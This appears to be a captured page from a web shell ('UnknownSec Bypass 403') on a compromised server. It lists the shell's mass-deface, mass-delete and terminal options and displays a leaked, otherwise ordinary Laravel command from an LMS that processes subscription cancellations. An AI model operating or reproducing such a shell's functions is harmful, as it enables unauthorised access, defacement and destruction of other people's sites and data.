UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_6fbfb04ec4c8
/
app
/
Console
/
Commands
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
RecurringCanceled.php
<?php namespace EstudioLMS\Console\Commands; use Carbon\Carbon; use EstudioLMS\Events\RecurringNotification; use EstudioLMS\Repositories\Financial\RecurringInterface; use EstudioLMS\Repositories\Subscription\PeriodicityInterface; use EstudioLMS\Services\PagarMeService; use Illuminate\Console\Command; /** * Class RecurringCanceled * @package EstudioLMS\Console\Commands */ class RecurringCanceled extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'recurring:canceled'; /** * The console command description. * * @var string */ protected $description = 'Executa as solicitações da cancelamento das assinaturas.'; /** * @var RecurringInterface */ private $recurring; /** * @var PeriodicityInterface */ private $periodicity; /** * @var PagarMeService */ private $pagarMeService; /** * Create a new command instance. * * @param RecurringInterface $recurring * @param PeriodicityInterface $periodicity * @param PagarMeService $pagarMeService */ public function __construct( RecurringInterface $recurring, PeriodicityInterface $periodicity, PagarMeService $pagarMeService) { parent::__construct(); $this->recurring = $recurring; $this->periodicity = $periodicity; $this->pagarMeService = $pagarMeService; } /** * Execute the console command. * * Os seguintes status serão considerados, para o processamento das recorrências. * 0 - Registro sem processamento, deve ser feita a cobrança; * 1 - Registro processado; * 2 - Houve falha na cobrança - Cartão de Crédito - Será cobrado novamente em X dias; * 3 - Boleto emitido e ainda não pago; * 4 - Cancelamento solicitado. Ao invés de cobrar, deve marcar a assinatura como cancelada; * 5 - Registro de cancelamento processado; * 6 - Cancelado por falta de pagamento; * * @return void */ public function handle() { $today = Carbon::now()->format('Y-m-d'); $tomorow = Carbon::now()->addDay()->format('Y-m-d'); $recurrings = $this->recurring->getCancels(); foreach ($recurrings as $key => $recurring) { $attempt = $recurring->attempts + 1; $periodicity = $this->periodicity->find($recurring->hire_subscription->periodicity_id); $recurring->status = 5; $recurring->attempts = $attempt; $recurring->save(); $recurring->hire_subscription->status = 4; $recurring->hire_subscription->save(); $boleto = $recurring->subscription_hash; \Event::fire(new RecurringNotification('boleto-canceled', $boleto)); /* * Email com aviso de cancelamento da assinatura */ } \Log::useDailyFiles(storage_path() . '/logs/command.log'); \Log::alert('recurring:canceled - Executado - ' . date('Y-m-d H:i:s')); } }
Copyright © 2026 - UnknownSec